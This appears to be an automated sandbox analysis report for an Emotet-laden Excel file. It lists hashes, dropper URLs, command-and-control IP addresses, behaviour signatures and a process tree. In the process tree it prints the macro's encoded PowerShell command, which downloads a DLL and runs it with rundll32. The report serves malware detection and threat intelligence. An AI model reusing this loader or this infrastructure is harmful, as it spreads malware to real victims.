emotet | 8c07c2e09734dd00f4ea00b7a2c05d5e0a3af61bacbaa90ad798e28e5789d3b6

Analysis

max time kernel
120s
max time network
146s
platform
windows10_x64
resource
win10-en-20211208
submitted
25/01/2022, 15:59

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General

Target
tmppxk4ho_g.xls
Size 144KB
Sample220125-te4jgaadej
SHA256 8c07c2e09734dd00f4ea00b7a2c05d5e0a3af61bacbaa90ad798e28e5789d3b6
MD5 b94367daaac96075c62502d4db5e29cf
SHA1 b174dd2df5980d6c86880d995ea1b5dc9e0b936a
SHA512 196495194693efed64dacb261d1b519b6b7f3655b5fafa05803a8b2227c74262d148a8df59d3b1200a6e4f68513f22ec4e61573894159f0a823ec897211931de
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://four.renovatiog.ltd/wp-includes/KGzoB0zsRKZjjEe/
exe.dropper
http://adultfriendfinder-adultfriends.com/mmfdoublepenetrationadultfriends/0pcEeJPfwMU/
exe.dropper
http://jwellery.fameitc.com/wp-includes/wQK7z9cEcwWCUG/
exe.dropper
http://arcgakuin-dev2.sukoburu-secure.com/l35uhr/R1evmjjhga/
exe.dropper
http://bimesarayenovin.ir/wp-admin/z464/
exe.dropper
http://hostfeeling.com/wp-admin/DidtoZk2EEc7BWXyhh/
exe.dropper
http://gardeningfilm.com/wp-content/Ef/
exe.dropper
http://moneymagnetentertainment.com/pz66t8y/Bd0sR0htA8mHibNJrk/
exe.dropper
https://100lamp.com.ua:443/sale/a/
exe.dropper
http://queenofluv.com/uemsub/peLSdHCvfhkge/

Extracted

Family

emotet

Botnet

Epoch4

51.77.82.125:443
69.197.160.180:8080
103.75.201.2:443
173.212.193.249:8080
45.118.135.203:7080
45.118.115.99:8080
162.243.175.63:443
192.254.71.210:443
50.116.54.215:443
51.38.71.0:443
138.185.72.26:8080
131.100.24.231:80
212.237.5.209:443
209.59.138.75:7080
176.104.106.96:8080
107.182.225.142:8080
45.142.114.231:8080
212.237.56.116:7080
207.38.84.195:8080
158.69.222.101:443
104.251.214.46:8080
104.168.155.129:8080
46.55.222.11:443
103.8.26.102:8080
58.227.42.236:80
164.68.99.3:8080
203.114.109.124:443
216.158.226.206:443
178.63.25.185:443
103.8.26.103:8080
195.154.133.20:443
45.176.232.124:443
41.76.108.46:8080
81.0.236.90:443
178.79.147.66:8080
212.24.98.99:8080
217.182.143.207:443
110.232.117.186:8080
162.214.50.39:7080
212.237.17.99:8080
185.157.82.211:8080
79.172.212.216:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3112	2800	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 2 IoCs

flow	pid	Process
38	3048	powershell.exe
43	1552	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
3660	rundll32.exe
1904	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Cqlksa\bjnomyroiivnw.rez	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2800	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
1552	rundll32.exe
1552	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3048	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2800	EXCEL.EXE
2800	EXCEL.EXE
2800	EXCEL.EXE
2800	EXCEL.EXE
2800	EXCEL.EXE
2800	EXCEL.EXE
2800	EXCEL.EXE
2800	EXCEL.EXE
2800	EXCEL.EXE
2800	EXCEL.EXE
2800	EXCEL.EXE
2800	EXCEL.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2800 wrote to memory of 3112	2800	EXCEL.EXE	72
PID 2800 wrote to memory of 3112	2800	EXCEL.EXE	72
PID 3112 wrote to memory of 3048	3112	cmd.exe	74
PID 3112 wrote to memory of 3048	3112	cmd.exe	74
PID 3048 wrote to memory of 3660	3048	powershell.exe	75
PID 3048 wrote to memory of 3660	3048	powershell.exe	75
PID 3048 wrote to memory of 3660	3048	powershell.exe	75
PID 3660 wrote to memory of 1904	3660	rundll32.exe	76
PID 3660 wrote to memory of 1904	3660	rundll32.exe	76
PID 3660 wrote to memory of 1904	3660	rundll32.exe	76
PID 1904 wrote to memory of 1500	1904	rundll32.exe	77
PID 1904 wrote to memory of 1500	1904	rundll32.exe	77
PID 1904 wrote to memory of 1500	1904	rundll32.exe	77
PID 1500 wrote to memory of 1552	1500	rundll32.exe	78
PID 1500 wrote to memory of 1552	1500	rundll32.exe	78
PID 1500 wrote to memory of 1552	1500	rundll32.exe	78

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmppxk4ho_g.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\programdata\uylcsekn.bat" "
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3112
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AZgBvAHUAcgAuAHIAZQBuAG8AdgBhAHQAaQBvAGcALgBsAHQAZAAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEsARwB6AG8AQgAwAHoAcwBSAEsAWgBqAGoARQBlAC8ALABoAHQAdABwADoALwAvAGEAZAB1AGwAdABmAHIAaQBlAG4AZABmAGkAbgBkAGUAcgAtAGEAZAB1AGwAdABmAHIAaQBlAG4AZABzAC4AYwBvAG0ALwBtAG0AZgBkAG8AdQBiAGwAZQBwAGUAbgBlAHQAcgBhAHQAaQBvAG4AYQBkAHUAbAB0AGYAcgBpAGUAbgBkAHMALwAwAHAAYwBFAGUASgBQAGYAdwBNAFUALwAsAGgAdAB0AHAAOgAvAC8AagB3AGUAbABsAGUAcgB5AC4AZgBhAG0AZQBpAHQAYwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AdwBRAEsANwB6ADkAYwBFAGMAdwBXAEMAVQBHAC8ALABoAHQAdABwADoALwAvAGEAcgBjAGcAYQBrAHUAaQBuAC0AZABlAHYAMgAuAHMAdQBrAG8AYgB1AHIAdQAtAHMAZQBjAHUAcgBlAC4AYwBvAG0ALwBsADMANQB1AGgAcgAvAFIAMQBlAHYAbQBqAGoAaABnAGEALwAsAGgAdAB0AHAAOgAvAC8AYgBpAG0AZQBzAGEAcgBhAHkAZQBuAG8AdgBpAG4ALgBpAHIALwB3AHAALQBhAGQAbQBpAG4ALwB6ADQANgA0AC8ALABoAHQAdABwADoALwAvAGgAbwBzAHQAZgBlAGUAbABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ARABpAGQAdABvAFoAawAyAEUARQBjADcAQgBXAFgAeQBoAGgALwAsAGgAdAB0AHAAOgAvAC8AZwBhAHIAZABlAG4AaQBuAGcAZgBpAGwAbQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAEUAZgAvACwAaAB0AHQAcAA6AC8ALwBtAG8AbgBlAHkAbQBhAGcAbgBlAHQAZQBuAHQAZQByAHQAYQBpAG4AbQBlAG4AdAAuAGMAbwBtAC8AcAB6ADYANgB0ADgAeQAvAEIAZAAwAHMAUgAwAGgAdABBADgAbQBIAGkAYgBOAEoAcgBrAC8ALABoAHQAdABwAHMAOgAvAC8AMQAwADAAbABhAG0AcAAuAGMAbwBtAC4AdQBhADoANAA0ADMALwBzAGEAbABlAC8AYQAvACwAaAB0AHQAcAA6AC8ALwBxAHUAZQBlAG4AbwBmAGwAdQB2AC4AYwBvAG0ALwB1AGUAbQBzAHUAYgAvAHAAZQBMAFMAZABIAEMAdgBmAGgAawBnAGUALwAiAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAKAAkAHMAdAAgAGkAbgAgACQAcgBvAHcAaQBmAGkAdQBkACkAewAkAHIAcgB5AGkAdQBkAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAZgBnAGgAaQB1AHMAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAPQAiAGMAOgBcAHAAcgBvAGcAcgBhAG0AZABhAHQAYQBcACIAKwAkAHIAcgB5AGkAdQBkACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwApAHsAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3048
  - - C:\windows\syswow64\rundll32.exe
      "C:\windows\syswow64\rundll32.exe" c:\programdata\2102137504.dll,f1542727029
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:3660
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "c:\programdata\2102137504.dll",DllRegisterServer
        5⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1904
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cqlksa\bjnomyroiivnw.rez",BPHgTdzai
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1500
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Cqlksa\bjnomyroiivnw.rez",DllRegisterServer
        7⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1552

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1552-366-0x0000000004EA0000-0x0000000004EC5000-memory.dmp

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memory/1552-363-0x00000000030D0000-0x00000000030F5000-memory.dmp

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memory/1552-376-0x0000000005430000-0x0000000005455000-memory.dmp

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memory/1552-374-0x0000000005350000-0x0000000005375000-memory.dmp

Download

memory/1552-372-0x0000000005270000-0x0000000005295000-memory.dmp

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memory/1552-370-0x0000000005190000-0x00000000051B5000-memory.dmp

Download

memory/1904-354-0x0000000004940000-0x0000000004965000-memory.dmp

Download

memory/1904-358-0x0000000004A00000-0x0000000004A25000-memory.dmp

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memory/1904-361-0x0000000004B80000-0x0000000004BA5000-memory.dmp

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memory/1904-356-0x00000000049A0000-0x00000000049C5000-memory.dmp

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memory/1904-352-0x00000000047E0000-0x0000000004805000-memory.dmp

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memory/1904-349-0x0000000000E50000-0x0000000000E75000-memory.dmp

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memory/1904-347-0x0000000000C70000-0x0000000000C95000-memory.dmp

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memory/2800-407-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

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memory/2800-410-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

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memory/2800-131-0x00007FFF786A0000-0x00007FFF786B0000-memory.dmp

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memory/2800-120-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

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memory/2800-119-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

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memory/2800-121-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

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memory/2800-408-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

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memory/2800-118-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

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memory/2800-409-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

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memory/2800-124-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

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memory/2800-269-0x00000167C7D00000-0x00000167C7D04000-memory.dmp

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memory/2800-132-0x00007FFF786A0000-0x00007FFF786B0000-memory.dmp

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memory/3048-341-0x000001D55A8E0000-0x000001D572A50000-memory.dmp

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memory/3048-319-0x000001D55A870000-0x000001D55A892000-memory.dmp

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memory/3048-322-0x000001D572BD0000-0x000001D572C46000-memory.dmp

Download

memory/3660-344-0x00000000005F0000-0x0000000000615000-memory.dmp

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